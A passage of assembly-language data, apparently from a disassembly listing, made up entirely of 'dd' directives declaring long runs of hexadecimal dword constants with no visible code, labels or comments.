		dd 2467D71Ch, 3A17670h,	0D913EC83h, 694E1D8h, 648AFFA3h
		dd 86075F3h, 0D86BD60Ch
		dd 3ED40598h, 9075547Eh, 68CA0BBAh, 0FF2548BCh,	0DFC5D23Ch
		dd 12B0E97Dh, 3BE352D3h, 32311886h, 0A275A7AAh,	0E7C59C42h
		dd 0B2050E70h, 0CAF4F2D2h, 0FED36F3Dh, 0B36E580h, 6CC55F95h
		dd 144557BEh, 410B8900h, 0D4F43E89h, 6ECFFD3Fh,	86FA9850h
		dd 0B1F09CBBh, 380311C1h, 73386067h, 0E59F1BEBh, 0F8E3D3F4h
		dd 0D4E3458Ah, 5385B71Bh, 8F785821h, 927D3058h,	0D7143807h
		dd 2EB94D9Eh, 41987746h, 6087C6EFh, 0FCC46954h,	39158CEEh
		dd 0F861B078h, 0B1B06793h, 3BF210E7h, 724DC93Bh, 0A4482CA2h
		dd 4C4E49ACh, 4E170337h, 82B1F832h, 0BBAC5D02h,	1B188D73h
		dd 38CC55F6h, 0C50DEABFh, 0E6EB4302h, 17B87B73h, 0DC2FCC93h
		dd 725E95B0h, 7CAB2AD6h, 0E4B69378h, 3FAC5359h,	0CBB5D25h
		dd 580CB6E5h, 0F7728F7Ah, 415DF426h, 2B7AAA43h,	914A5E94h
		dd 2267E8BFh, 0D6C760D3h, 17898872h, 2C3505D4h,	0A5CE8AF7h
		dd 28C8BEBBh, 5B3F6534h, 0E5716312h, 0F37B89B1h, 90C9DF92h
		dd 0FD25184Eh, 0F2E265FEh, 0F7A84E36h, 0FE597781h, 0B724AA0h
		dd 7F1E0791h, 2810C215h, 0B30BD982h, 0C96537E7h, 0D7EB4041h
		dd 5DE0EACDh, 20C7B3C0h, 3AA5A5h, 0A6DA197Fh, 4A2D13E3h
		dd 0A960F4D9h, 9174D20Bh, 0C5B9E78Ch, 0B5699E4Dh, 0B1A3ECB8h
		dd 0B062FCA7h, 406062A2h, 9DF2991Dh, 812747A0h,	0B40A93EEh
		dd 0B3C249ECh, 5E156AAh, 0FF136AE5h, 96BA27Dh, 547210D1h
		dd 7448D7E5h, 0D3FFB92Fh, 906634F7h, 8EEFA244h,	0D385324Dh
		dd 3AD8D22h, 4117A334h,	704DF417h, 0E53CAA88h, 56F419A5h
		dd 0BE6F3247h, 0BCD010Fh, 40030460h, 0BA51F522h, 24368CECh
		dd 77C5F5F9h, 0E4BE4BE4h, 3766141Ch, 0A7BFD17h,	9E98AC66h
		dd 52E65590h, 2C73D679h, 3F201972h, 0D69B545Bh,	2838E0ADh
		dd 3B239F66h, 0F10CE4DEh, 0AD0AA3A6h, 2B7D43D9h, 0DB8D92B0h
		dd 1D9DA8DCh, 9B72650Ah, 26A4C9C5h, 5CAE2EBAh, 0A07C1FFFh
		dd 1126935Bh, 728703E7h, 0DD5FBD25h, 0B38697FEh, 0FB886A66h
		dd 6CE96C12h, 0A8CD0ED2h, 0E64F6358h, 19A86DBBh, 8DE1E2D1h
		dd 3301F77Eh, 0BF74B033h, 999D85AAh, 0C5245A15h, 0C774304Bh
		dd 2056C8B8h, 0A4427D1Fh, 0B759B627h, 0BF9ACD56h, 0BC2807E3h
		dd 80F305CBh, 1B59BB4Bh, 648AB9CDh, 1ED2423Ah, 301E27A4h
		dd 0A1380750h, 0A78892FCh, 4D457140h, 0AE63DEB0h, 8F1506B8h
		dd 9375C35Fh, 0A29A9C4Ah, 8A661432h, 4B57D1B0h,	0CAAE632Bh
		dd 0D392D7FDh, 0B0278E68h, 85C16B24h, 0FB2E309Bh, 6A5B5C54h
		dd 3F54237Bh, 7A017221h, 3DAAC554h, 0B606601Dh,	0BDCD458Bh
		dd 47EFF7A1h, 57629F38h, 6D3231B9h, 0CD9E834Bh,	0FF70CAD0h
		dd 0BD27DB39h, 0E682C64Ch, 0F0597677h, 0B592D907h, 0FEFAEBC2h
		dd 0FFC0C1CCh, 43A14AF4h, 0CFA008AFh, 1B1DC515h, 55D09C24h
		dd 0BEA391E7h, 0AAA54D9Dh, 0B6842A1Fh, 3F2A1BC1h, 239ED8F3h
		dd 8CB25707h, 0B037FDCBh, 360F6029h, 0BFE8A62Fh, 0DD2ADAF2h
		dd 0D97B48EDh, 0FDC574D7h, 0EF53FCADh, 5D8933C8h, 0A15E1FDDh
		dd 831C3FB8h, 28C9A0F0h, 1D12B125h, 411C3BD0h, 0EDDCDC3Ch
		dd 71851A1Ah, 26561CD6h, 457146Fh, 79F4BCAAh, 0A0E8C130h
		dd 0B9CF88ACh, 0D006C3DDh, 0E32928E2h, 0BF491C2Bh, 2AF367EEh
		dd 0C4A41A3h, 0B7E6D2EFh, 72196929h, 1FC51775h,	0EB66CA38h
		dd 5C17210Ch, 0DB186C3Ah, 9421BFD5h, 0AB8E7756h, 0F84EE5CFh
		dd 0AD183EA7h, 73C1FC1Fh, 7E4C1D8Ah, 0A49D86A4h, 9AB266B9h
		dd 0B328B839h, 1A0C3E50h, 0EC24D1Eh, 4B739D99h,	14DD8026h
		dd 0F8EC7F72h, 0A5070766h, 0CF49613Bh, 2BB99435h, 0C5FAFA1Ah
		dd 183A14FFh, 5BA44AB5h, 8C609ACAh, 491BE6FDh, 80BFC250h
		dd 0A1B493BCh, 0C43D4C09h, 0D45BDFDh, 1B2B768Eh, 5F43BB2Ch
		dd 5819386Bh, 9897C6B6h, 0E1F0BD2Eh, 239E89C2h,	8FC85461h
		dd 0AB98233Fh, 0AE80510Fh, 0C3E78B09h, 7DA305F1h, 301ABEF1h
		dd 14246A4Bh, 0F9B60AB4h, 2B164275h, 0CC586506h, 0D762A716h
		dd 0F7C59A5Fh, 427EDE99h, 1946922Ah, 640E3ED8h,	5D8BCC3h
		dd 0AB49F13Dh, 56465102h, 8CDD91F1h, 0AFBD6550h, 8D4E6E27h
		dd 0BCE76CD8h, 81A57269h, 6EA11D8Bh, 67022584h,	804271C5h
		dd 55CB3AE1h, 2EE656FFh, 91E259D2h, 10707726h, 9F0753E7h
		dd 9C9FF619h, 5C3FB292h, 998A4815h, 1E8E5B75h, 4280D352h
		dd 5376BF97h, 0DD122359h, 0B0091AAh, 0CCC43643h, 0EB22291Eh
		dd 9785F954h, 1868AF7Dh, 0D1743AA9h, 1519DC28h,	40141A4Eh
		dd 0B6C7601Ch, 58F65591h, 0DA77915h, 38805103h,	0FD38320Bh
		dd 32124D1Ch, 5630D3FCh, 0EF2A7627h, 27C9AFC2h,	4F2B54B7h
		dd 0C6F76EF2h, 24B24C22h, 9AEE1136h, 59275B4Ah,	0F09FEC5Fh
		dd 63A37C61h, 0F32601E2h, 72504DA0h, 2A027F2Fh,	4800679h
		dd 0D535D3FBh, 7ADFEF76h, 8795A252h, 0D52C8595h, 4C627AE0h
		dd 45F5C300h, 0B0CA8503h, 5D93F3F1h, 0DD6AF938h, 0E5EF7918h
		dd 7AE8196Dh, 289B7D2Bh, 0C4D55018h, 32FAE47Bh,	4064C312h
		dd 54E7D6DCh, 4C08B79h,	7C650153h, 0E34F161Fh, 787D2B2h
		dd 0D4350285h, 0F057B1B3h, 0EF96A251h, 9457CB3h, 0BEBCE282h
		dd 398181F2h, 76A4C2D5h, 9F32585Bh, 3EB1F8F0h, 308ACFE1h
		dd 0D7A33EC7h, 33281859h, 0FFA78E8Fh, 0DE6D1EB5h, 0A1B6FB0Fh
		dd 4D21A841h, 0C7A9F9BEh, 6087DB18h, 537290D0h,	0B0B923FFh
		dd 305249CEh, 0FCF466EEh, 0D87B2343h, 370ADCFBh, 9B76F917h
		dd 64E69022h, 73D045DEh, 25D9DE88h, 468B8973h, 0A9E24704h
		dd 5E81C821h, 1B179BA4h, 0FE23ACF6h, 30F6819Ah,	1299E53Fh
		dd 2A4E1551h, 0A860465Eh, 0E41E4C14h, 0DC5850A8h, 248D756Eh
		dd 4090F29Bh, 0E3276DF3h, 1AFAE086h, 49E3CE8Bh,	0E25CCE5h
		dd 643F6DD6h, 0A76DC2FEh, 41E18F64h, 0FABEF6E6h, 367C0122h
		dd 0B1BD1DDFh, 0F6FD63E9h, 0EFC36CFEh, 0C3804FDAh, 0A193656Ah
		dd 0F9EF3B0Ah, 0F0DBB1BBh, 6E669841h, 0C80FC27Eh, 0F27D1569h
		dd 0BBC890FAh, 0E0B2FEDAh, 8CC5A59Dh, 39389E3Eh, 0BDE12A5Dh
		dd 0B89D1EA9h, 73503FE0h, 0F985D9DAh, 56987F3Bh, 32539189h
		dd 0B3CA259Ah, 668DFEC5h, 81EAAD81h, 9226DF74h,	715B2D83h
		dd 82C72E06h, 5C3359A4h, 0C61EEA8h, 72EC048Bh, 7BA940Eh
		dd 0C103AA78h, 0ED69120Ch, 0C88CB17Dh, 0C2F614CBh, 3C027D85h
		dd 0ED2A65E8h, 0A72D2823h, 0B58608D9h, 5236CEABh, 55950D63h
		dd 32C03FD3h, 0ECC6BF50h, 0C20B94E9h, 0EF3DB121h, 1E3C7BD7h
		dd 7457BEB3h, 363B391Eh, 4F81B1D7h, 34F9A053h, 0AB464E7h
		dd 0B398C398h, 23AEFFDh, 55A50CF1h, 8469C46Eh, 51DE5A41h
		dd 81091F28h, 934E7E2Eh, 0FE325C08h, 54510888h,	1DA59E78h
		dd 9B834A24h, 6B5658B0h, 9F9D5358h, 3231F1EAh, 0B688D792h
		dd 4D6B5EABh, 65989DFh,	0F8481A0Bh, 2B021D9h, 0FBAC4486h
		dd 0BC92FD67h, 4ED3E51Ah, 8C03199Dh, 5D30403Ah,	666C8801h
		dd 77F452F8h, 0A11B8849h, 43D84FE9h, 0EDFDB99Ch, 62B72DEBh
		dd 6CE1CBBh, 0FEA795DEh, 77BE58F2h, 0DCCDA22Eh,	0F2164743h
		dd 1ED619E0h, 0E57254FFh, 36661907h, 0C0E79576h, 6F0E91EDh
		dd 0D5371ECh, 30DE87A7h, 47F14E23h, 0CDBE3CF4h,	84625B5Ch
		dd 0E06BEF8Fh, 0E34D2ACFh, 0FBB19474h, 0A8417034h, 0F3B82FDCh
		dd 1FEF3Eh, 0A2E5C37Bh,	94AEC473h, 0C3CC11A0h, 0E78A409Bh
		dd 0C615DEB2h, 476413FAh, 0A7091CCh, 62B777E0h,	0F90CCA33h
		dd 0B9758910h, 0CC4F67E4h
		dd 0E28A104Eh, 2571D7D8h, 2D9466C3h, 1BAE4B28h,	20726C75h
		dd 408C075Dh, 0C573365Bh, 0F160C789h, 5A173799h, 4335BD60h
		dd 3D894D6Ch, 0B6588555h, 0C86022BBh, 0C4D3CEECh, 0F48EC4D8h
		dd 5159135Dh, 9CCF87E0h, 6413F4AEh, 0ED2D51E4h,	93C85191h
		dd 804CC76Bh, 0A09761DAh, 4B111B38h, 1384C909h,	9B10C4C3h
		dd 4DA3D6B4h, 5C7EDEBh,	0FE352A32h, 4B61D425h, 0BDE8D438h
		dd 0E6DA25B8h, 0CD1FBB23h, 3595F6D4h, 37D7A578h, 0D27C89E4h
		dd 2673DCB5h, 3A7F878Dh, 44589241h, 5211DE09h, 7C05ADD0h
		dd 0D79A2CD0h, 8DBCCCA9h, 0B41993FFh, 0A923F77Eh, 0C6B97CF1h
		dd 0B5CC3535h, 3EDC6A48h, 0B7BCCBAFh, 0E3B31ADDh, 0CF652699h
		dd 0E59CEB63h, 0BD448162h, 1480E160h, 0FEE23982h, 1907A48Fh
		dd 24E44DABh, 3278B493h, 1220CB3Eh, 3BF04299h, 76BB24FBh
		dd 6069D9E8h, 0D761C84Dh, 7C652A39h, 61A8A13Dh,	80A80359h
		dd 892D6F1Dh, 903B8086h, 0CB2877B8h, 0D45811BBh, 47AEFE56h
		dd 7D7EEFC2h, 78FA3004h, 0F790A311h, 8B22C923h,	1B273612h
		dd 0D5B6C2DBh, 0A40DFA51h, 0B4E2C141h, 0B05F9AA7h, 0D5ECDE9h
		dd 9E92686Fh, 44CF984Eh, 0A6880AEAh, 0B927907Ah, 47FFD0BEh
		dd 0A62AD8D8h, 0BEDCCB89h, 0EBC9C03Bh, 11D61250h, 512BF64Fh
		dd 7607BCD3h, 28804D80h, 0C9B67162h, 9BDED854h,	92197822h
		dd 0CDAD6F0Dh, 0BB269594h, 8699576h, 0A5ED6142h, 11C9AFFAh
		dd 0D55921EEh, 21E324EDh, 9B70E617h, 0CAE72D9Fh, 603BD6C7h
		dd 858EFC7h, 6FEDEA3Eh,	4AE5A347h, 8F5ADE0Ah, 0D697136Ah
		dd 92D3E14Dh, 2FE7D644h, 0AE58D704h, 8F3CE506h,	8C3904E6h
		dd 6B0ED3Fh, 0B903AC0Fh, 783237E8h, 4295CE84h, 97C9BF22h
		dd 74088761h, 0F92E7FF1h, 0C68AD2FAh, 5DFFE43h,	17D01167h
		dd 0B11B85E6h, 0DC622023h, 0DE33CC72h, 0E856A6E4h, 65A08850h
		dd 22AAB707h, 0D8D3CC84h, 0A3DBC482h, 8D7F7A92h, 44E6B8DEh
		dd 12639577h, 0CC44BF05h, 0B5F6C54Eh, 69CE7ADh,	2112EAD7h
		dd 0DD4911B5h, 3708E4DCh, 7EF2B7B8h, 3B840E9Fh,	7B6BBCC4h
		dd 0F0CC81BFh, 5C28A569h, 2D473231h, 0E36F5F68h, 0A5DDFE19h
		dd 0AE530332h, 0CC67EACEh, 12D045EFh, 3B13034Fh, 904C1F37h
		dd 6556B3AFh, 39559C6Ch, 6E9B0F44h, 308203B9h, 5E27D618h
		dd 2B4CAF3Fh, 952D1D88h, 29473042h, 9C810FF9h, 0B184F8C6h
		dd 0E97BEFEDh, 31A08BE4h, 0E8E4D432h, 55502508h, 8F0D2545h
		dd 3290F4B7h, 3B5A565Fh, 8584755Bh, 0AC23BFA3h,	661CA25Fh
		dd 8D700485h, 546B01DEh, 0EA2706D5h, 2D387EB9h,	0FE0A6E8Ah
		dd 4F7390D8h, 736C4596h, 61E8D11h, 0FE6BE059h, 74C73CF9h
		dd 28765D7Ah, 436492A1h, 50FFEFDDh, 0A23AB3D8h,	6DCD987Fh
		dd 5CA2F529h, 499A390Fh, 1F1B51B4h, 0BDC349EFh,	0F1238089h
		dd 49CF80h, 0D76F5CC4h,	6CD5DC74h, 972C679Ch, 2D113F73h
		dd 7789BDAh, 0F33B7483h, 4F8FD8EEh, 46A4D672h, 3352D409h
		dd 0D98A4805h, 62C1245Ch, 0BB68BEE2h, 0FAE722E8h, 1107C89Bh
		dd 2EB0734Ah, 0B6DAB725h, 0CE675901h, 989644D5h, 0F39559B4h
		dd 0D71AA52Bh, 0E255C9DBh, 0CFF7B992h, 29F46B19h, 0ECF7EB65h
		dd 0A3802901h, 0C52921DEh, 81E0B523h, 0C9B84387h, 34028C0Ah
		dd 0EC158070h, 1F0E798Fh, 40F7CFD7h, 63105057h,	389E670Bh
		dd 0B4E7897Bh, 0B11FF197h, 0F1EADC4Eh, 0EDE4681Ah, 0E586195Bh
		dd 28613C13h, 845FB594h, 4DC0061Ah, 0D7FDD671h,	411B704Dh
		dd 0B2293F94h, 0AC58DDF5h, 180DC9C6h, 22FE3270h, 0D376D748h
		dd 718CCE69h, 2BFAAD4Fh, 17EC4F9h, 9AED2084h, 0D3100700h
		dd 3D76E00Ah, 0B9BB2E12h, 0F12B24h, 0BABAA272h,	0E707F924h
		dd 4203C882h, 742C1DD7h, 83741CCAh, 23C39122h, 4284263Fh
		dd 0DEDD8A0Dh, 33F85C41h, 0D8AAA84Fh, 0FBB2EA0Eh, 0F2DCF2BDh
		dd 5AB5DA72h, 7FA0DD1Dh, 9F253491h, 7EA6DE52h, 0A25F66F5h
		dd 78081EC7h, 57E6495Ah, 0CF96C0EBh, 7030295Fh,	0A7E02C5Dh
		dd 42B7AFC3h, 93DB21C3h, 935C242h, 3ECC6B9Fh, 0E511BF75h
		dd 0BE4F14Ah, 2ADB0EC9h, 72BDD656h, 2E3BF721h, 9943E93h
		dd 60D1750h, 0C7009B36h, 325B5732h, 84FFFA93h, 0D448259Dh
		dd 5FD8B26Dh, 4F3634AAh, 6E3DCBDFh, 48431D04h, 17BD22FDh
		dd 915F0A12h, 1B2CFB95h, 0CCF59CDCh, 0D4CDB72Ch, 42B82C3Ah
		dd 52DE7164h, 3EDC1467h, 263257C5h, 0DCBCD2C6h,	5647E15h
		dd 0D112A150h, 0CE195DFAh, 5F3F7290h, 258B46A5h, 21C847A9h
		dd 920CB474h, 0F1D084E9h, 92EB6C84h, 0EAC26968h, 0C86B2FDh
		dd 36144150h, 0FB62FD3Eh, 0D774A11Dh, 0CBCFF6E1h, 0C1E2A0DFh
		dd 659A7F15h, 3F16D590h, 0FB539BBCh, 45F791EBh,	4B42F297h
		dd 37AE7EABh, 0E78E3821h, 205CB20Bh, 3FD9B006h,	0CAA9DE5Eh
		dd 0D0223231h, 10CDD622h, 2FA77F45h, 977BEB26h,	29AA04E4h
		dd 631B9143h, 0DBCB66B5h, 262D13F7h, 9F46CD8Ah,	9C9005D1h
		dd 248278A1h, 0AEC00822h, 0E36B1A54h, 2C7161F9h, 5064F0CAh
		dd 0E58EB02Fh, 9F14C91Eh, 36D588CAh, 0CBBF7055h, 6DB6EC6Fh
		dd 75D1CC65h, 969BA9FEh, 208F4FDCh, 0DA8F7B11h,	6403045h
		dd 7B59D50Bh, 6227DB05h, 8221C43Ah, 8D48FDF7h, 0F657F8F7h
		dd 31DFC458h, 0E7052732h, 8950F67Eh, 3539CBD2h,	468A6003h
		dd 0AC4FDC54h, 0D439550Bh, 5D4490D0h, 54C32CDEh, 3D0F19DFh
		dd 9E0D7AA7h, 0C0968BEAh, 0E1140538h, 32798301h, 16F50BFh
		dd 507D4E96h, 0FD3AA341h, 21B9764Bh, 5A1678C8h,	2DD79418h
		dd 0B858206Fh, 6DB92CEDh, 0BE7E2718h, 999C585Dh, 84DB0D90h
		dd 9CBFF805h, 0B104C236h, 81EF8D65h, 8C59EB49h,	0B66CDFAEh
		dd 25040DE2h, 2A3231C9h, 819EC7h, 0CBE326F1h, 9D323123h
		dd 8ECBF277h, 9E87AECAh, 0CBB6395Bh, 4B6F4B9Fh,	15A91117h
		dd 0B6FB95FCh, 386FEB49h, 2568CA8h, 22A4A0A0h, 93D59557h
		dd 244562C4h, 2E303274h, 79D6D626h, 0A81D0ADh, 0DFD292Ah
		dd 9E3450B9h, 20670263h, 0A4DD7E1Ch, 16AE0DB8h,	92A58F80h
		dd 89A06C0h, 0EE8D5936h, 45A31576h, 0A3764C6Fh,	0A94580BBh
		dd 0D0BA32A3h, 79457597h, 37494E97h, 4285AAA2h,	17545D70h
		dd 0EAFBF6C0h, 9848D6ECh, 0F7E573B8h, 0B051814h, 682BF775h
		dd 9B6C5A17h, 68B2F160h, 0F0EB29EFh, 7EC23E56h,	7974E0Fh
		dd 2749532Dh, 0D6E37D16h, 0D796815Dh, 0AA10C36Eh, 1F1D53A5h
		dd 0D35908DEh, 26F94CFEh, 2821FD08h, 0C1CBCD1Ch, 0DB0A5EC7h
		dd 0D2C20093h, 3CFBEBC4h, 0D34B09CEh, 0D6B293Eh, 0D80FDE3Dh
		dd 0B10597E3h, 0AD1DD305h, 9853C8D3h, 0F4E0A4F2h, 72692DE0h
		dd 0C25C6DBh, 2C4E12B4h, 0D4C46D0Eh, 0F6CB4337h, 0F512B1E3h
		dd 49C5C6D2h, 802C0A9Dh, 0C8F759A1h, 5BF33561h,	4D827169h
		dd 0CB03A6A8h, 8FD4C07Bh, 0C0647BD4h, 0EB0A25B3h, 1FE1645Bh
		dd 0DF98B627h, 0FEBD32FAh, 1B08832Ah, 69F640C4h, 8AA67929h
		dd 7BCC1D18h, 0A559A1A9h, 777D5C0Fh, 9401E482h,	0A0004307h
		dd 43B17721h, 1CB3C1CFh, 0E364565Eh, 4402F3C3h,	6CB745BDh
		dd 0C99B748Bh, 0DED7BBBh, 5DC44661h, 76448DDEh,	195327BDh
		dd 0DCEA5708h, 0CF0989A4h, 2DAAEE03h, 0D050B8E7h, 0B01DD188h
		dd 0EEE3DC17h, 0C9AF9DA9h, 9B90DE38h, 871504A7h, 0C6C703C0h
		dd 8CF57A97h, 6A307DCFh, 251B8A0Ch, 3521D335h, 0B1B7290Bh
		dd 541E7440h, 0ADEFC644h, 1722AA8Ah, 65EB7A93h,	0ABF55F1Eh
		dd 5BFF29ACh, 0E504C479h
		dd 617DD0E7h, 765DE7E5h, 0A5E1B5CDh, 0A3E2DC13h, 0CF2076D2h
		dd 84959F7h, 6DE4E6BFh,	93B771D3h, 0FED2D92Eh, 0C7C59AA8h
		dd 0A044D1E3h, 70565E00h, 7B278316h, 0B9A69B48h, 3EDD88Eh
		dd 5A0F7458h, 463638FBh, 9EAE8784h, 0B8D32EBEh,	5697076Eh
		dd 110D08E3h, 36E66260h, 5B1B0F2Ah, 0F232EE4Ch,	0C382695h
		dd 4F846C11h, 47FEDC36h, 9CD99555h, 2D84C1FDh, 3B499962h
		dd 2E60E6A7h, 69F7BE7Bh, 8BB7E26h, 5FA10CBBh, 1EBEA674h
		dd 40EEE18Ch, 0BB1AA1C7h, 7F790F3Eh, 0FA4751F4h, 0C39110B2h
		dd 51361378h, 68B24273h, 5D1DD2D2h, 0E6FE92B6h,	8353691Dh
		dd 8629D9D6h, 692EBB33h, 0D0202639h, 532817CEh,	0F7859270h
		dd 2D9A1B89h, 0A00A875h, 15E3B9A2h, 0FFFDBC94h,	9407F888h
		dd 17B1394Eh, 3202DE0Bh, 41DBBBDDh, 0C7DB7F1h, 0A3D1C007h
		dd 46628AFEh, 0A679808Bh, 2E1B70CDh, 282BEDAFh,	3DCCF8CCh
		dd 0F05F730Ah, 0B767B1DBh, 0F033937Eh, 835C3880h, 8E363FB5h
		dd 0B572ADECh, 94979EE7h, 0E702F05Eh, 96A45772h, 0DDDDCD6Ah
		dd 5F722026h, 0FDA481EEh, 25FAC089h, 5953922Fh,	0D67EEF48h
		dd 0EF32CDA3h, 0F24951B7h, 493CA489h, 1758ACB8h, 8C7237Ah
		dd 0B2D4123Ch, 0F526CA56h, 1C6D0259h, 0BF30C15h, 0D6A3CD17h
		dd 1AE4693Bh, 251832AFh, 49471F7Ch, 1A30F5B8h, 2C67C11Ah
		dd 92663F1Dh, 6E8520B3h, 0F240EA47h, 129957D1h,	19CA0A51h
		dd 0E96CCFE2h, 60E81807h, 954BFDD7h, 38F86A21h,	9B776EFEh
		dd 0AADA4343h, 0A321DC37h, 57ED675Dh, 0A70E1C5h, 56CDD623h
		dd 0A52975ABh, 50DA6F4h, 6EC8242h, 5DE2455Ah, 66F64A4Eh
		dd 4CB1FF71h, 5B4EAD37h, 7EF6AF76h, 0E572F69h, 32315664h
		dd 0F843E460h, 57829028h, 514681Ch, 859FBD62h, 9E27B058h
		dd 3A0D544Eh, 38336A76h, 0AFFC46E8h, 9AD9B1AAh,	9596423Dh
		dd 87378639h, 0E1C3ACC9h, 39BB5E3Dh, 0E7443E2Eh, 7244047Ah
		dd 8ACA4CC6h, 404852B5h, 0A9F5F5AFh, 0EE0F89B8h, 83B76880h
		dd 219B0737h, 0D1020819h, 711B3475h, 0F1A39D16h, 31D7FF3Ch
		dd 7C3D7B32h, 3CBE543Ch, 125D3454h, 0AAF41260h,	4A0B30D4h
		dd 0FDD158h, 952A719h, 24406EDBh, 49EC60C0h, 6359E844h
		dd 3027FB5h, 10C0175Dh,	0AB54BC06h, 325C390Eh, 5346F31Fh
		dd 8C518749h, 0C43ED8A3h, 2103A33Fh, 0BB26F8CBh, 30A8E5E4h
		dd 0C8E57A66h, 79EDF887h, 0CD95092Bh, 8387725Fh, 4EAAF97h
		dd 0A08F5A2Fh, 0F479F83Ah, 2FE9365Fh, 226D3C07h, 101E8749h
		dd 722C2D87h, 2B9812CEh, 0CEE952D4h, 78F7960Fh,	19C3EE33h
		dd 0C615DDD2h, 0A264E8BAh, 0E67053EEh, 327A2D52h, 0EFEA656Dh
		dd 388A0021h, 0C07E6162h, 52A94E4h, 0BA9B4B6Fh,	79686269h
		dd 8B975505h, 664A46DBh, 3B80D1A9h, 0CEF9A6E9h,	46B94E05h
		dd 1B529FD9h, 0B7EFF9BCh, 0B82C3C74h, 1B4963ACh, 0FB01C4FFh
		dd 4B99176Fh, 7FD20BD9h, 8DA64341h, 0AEA032BEh,	0DD1AA17Ch
		dd 87837060h, 509A53A3h, 63300C01h, 18D55E2Ch, 0A5E90869h
		dd 5AAB5F74h, 0CB1CB89Bh, 37BACCF0h, 0DED95127h, 0F646C1A6h
		dd 4F070B66h, 0B27DD815h, 3E385C5Ah, 0B518E948h, 0C57A2064h
		dd 227A8DAFh, 0DC74F3AFh, 1623AD58h, 0D8FEB8F5h, 5C000B8Bh
		dd 0CA3DF398h, 8129B354h, 6C10E2EAh, 0D47B545Dh, 12CD1153h
		dd 0B330A712h, 684ED7E1h, 0C43E71A5h, 62641315h, 0A0DAC84Bh
		dd 2C7D7C0h, 6285F671h,	9037856Ch, 5022FBA5h, 0F62F1CDEh
		dd 8444B30Ah, 6629086Ch, 0EADC04ECh, 0D9499041h, 0BA8EB9F4h
		dd 0FBCA3DD3h, 0AEA5FF62h, 33B92A1Dh, 0F5230C11h, 2324F4F0h
		dd 3A7646A1h, 0EBFD3808h, 0A466A89Ah, 4BEA05AAh, 0D05EA20Bh
		dd 884D467Ah, 4FA43CD8h, 0C18DE177h, 17B82A5Ch,	0BAF2893Bh
		dd 0CB27E9E0h, 12FE7AB7h, 4033A9CCh, 918F694Eh,	97BCE120h
		dd 0A5802CAFh, 4DB8936Eh, 6CB91A08h, 0F394DE3Dh, 9D33BA92h
		dd 0F9C6DB76h, 8CA25F19h, 188411B4h, 7959ADA5h,	29566C39h
		dd 5E730791h, 0C017EEC3h, 0E2DAA619h, 0E6249604h, 78F7DC6Ch
		dd 18C77C82h, 0E3F67EAAh, 72BC6389h, 28051A95h,	0B9A4CD9Dh
		dd 4865B5AEh, 0C0039D6Ah, 29173C3Dh, 0BEF2445h,	0E301231Ch
		dd 30E5E3D4h, 0C8F74A37h, 8F010EC2h, 87BAA55Ah,	3B3AAC89h
		dd 0ABF5A736h, 0EE873231h, 86FC8F98h, 0BC714ED7h, 944973B3h
		dd 8219D23Bh, 0BD8CA7BFh, 0CC42F007h, 4B0A437Bh, 0F398A367h
		dd 4141BA21h, 0C0D185E9h, 0E2CEF856h, 31DF6552h, 2060BB32h
		dd 13619836h, 1E9CD8CAh, 49EE44E6h, 274AB8C2h, 0A0D6237Ah
		dd 9F1F388Bh, 0DBDDD232h, 0B4337ECEh, 0C373B175h, 14654BB0h
		dd 93027884h, 96AE6FC9h, 0B35C7164h, 71497BE3h,	0CB538E13h
		dd 4A8032F4h, 690CBCC1h, 0BE8675Ah, 5DC44A65h, 6E7C412Fh
		dd 4BF8FC7Fh, 0EE40C801h, 7AD1C2D9h, 1212031Ah,	0C1D991EEh
		dd 28214339h, 96E8EA91h, 79864A56h, 14809CAAh, 22439697h
		dd 5FC08EB3h, 2B0FBD76h, 0A40977E6h, 0F889BB5Eh, 0F8750625h
		dd 2A574FB2h, 0CE492F50h, 3B65300Ah, 5AEB6B40h,	30146A03h
		dd 994B42A5h, 0EA35E44Eh, 7BCF387Ah, 3A3E999Ah,	151EB39Dh
		dd 0F8805EBCh, 996D0719h, 3D0D4DA8h, 12FDEC76h,	10BCB45Dh
		dd 49A09434h, 492BAA9h,	0DE37ED21h, 4A682211h, 0F3219206h
		dd 0D754A547h, 0B98D8CDh, 5D47C3FBh, 71187E1Ah,	0BA5E37E2h
		dd 0CDAFA961h, 0D7D4A770h, 9CD2A2DAh, 7B5E78A4h, 0C8A0E0F3h
		dd 265CB1F4h, 22ADC8E6h, 4824BB0Eh, 0A8A935A8h,	1457BDA8h
		dd 64D2BD01h, 0F44BB7F0h, 5AA63CF3h, 0F5645491h, 69252564h
		dd 38BD1640h, 462DF46Dh, 766D57F9h, 0BFF8AE3Fh,	990452CEh
		dd 1AB6709Eh, 176CDA83h, 75C130EDh, 103FF058h, 0F4BE7D53h
		dd 1B4DC39Eh, 71F15F60h, 0BB3B3D9Ch, 12FAF50Ah,	845E0D45h
		dd 90E619h, 0F4AC8BFEh,	86E1CFD9h, 4AC0B22Ch, 8F020F3Eh
		dd 924F206Fh, 5B9C76DFh, 0EEF71F60h, 6DD79D95h,	0A987B3E0h
		dd 64615F69h, 0D691065h, 9ABFE42Eh, 0CF58134Eh,	0A1ED69F3h
		dd 0D5B8953Bh, 7802AD03h, 0BB4164B6h, 1E0DBD7Fh, 0DE168570h
		dd 3814C92Bh, 5FCC2C4Bh, 4552418Fh, 9A62D1D0h, 0C341E187h
		dd 95CFFDCDh, 0E63D7AD0h, 0E7AE5DCEh, 0FFA2D0DCh, 536DD78Bh
		dd 7633ABADh, 0DD6F12AFh, 256DD426h, 2F5B2695h,	0A223D5CEh
		dd 0D8666C5Ah, 5DBA0008h, 844E5CB8h, 4DB4324Dh,	0A4248713h
		dd 8198274Bh, 6AAD3246h, 0DD91DDBFh, 1F6B4703h,	1C7429DEh
		dd 0C8D1CAABh, 0BBC08CC2h, 0CDC3A4C7h, 6D63531Ch, 0CDFBE9D0h
		dd 957C4CADh, 0CEE40A79h, 65B15561h, 7D166B77h,	0B94337C6h
		dd 7EABFBE9h, 3743E884h, 29A75465h, 0E8C507EBh,	0B26E4ED2h
		dd 0A9159263h, 95CBADDDh, 3DC75EE2h, 8355E00Bh,	7CD6FE5Ah
		dd 8445CE5Ah, 42EF859Ch, 0D7503D46h, 1DDC1F6Dh,	940B9581h
		dd 0D7BD2540h, 5241D0B6h, 0EAA69EA7h, 940A8AC6h, 7D1A47BCh
		dd 0A79EDB9h, 0C421299Bh, 28666A68h, 0DFE3FD44h, 0A637B560h
		dd 44786A4Fh, 79181B60h, 1F5055FDh, 0AE6C5F9Fh,	0C308D7E6h
		dd 0A29B29C2h, 43240B3Fh, 86987681h, 0D53BA93Ah, 0BE2CAFDEh
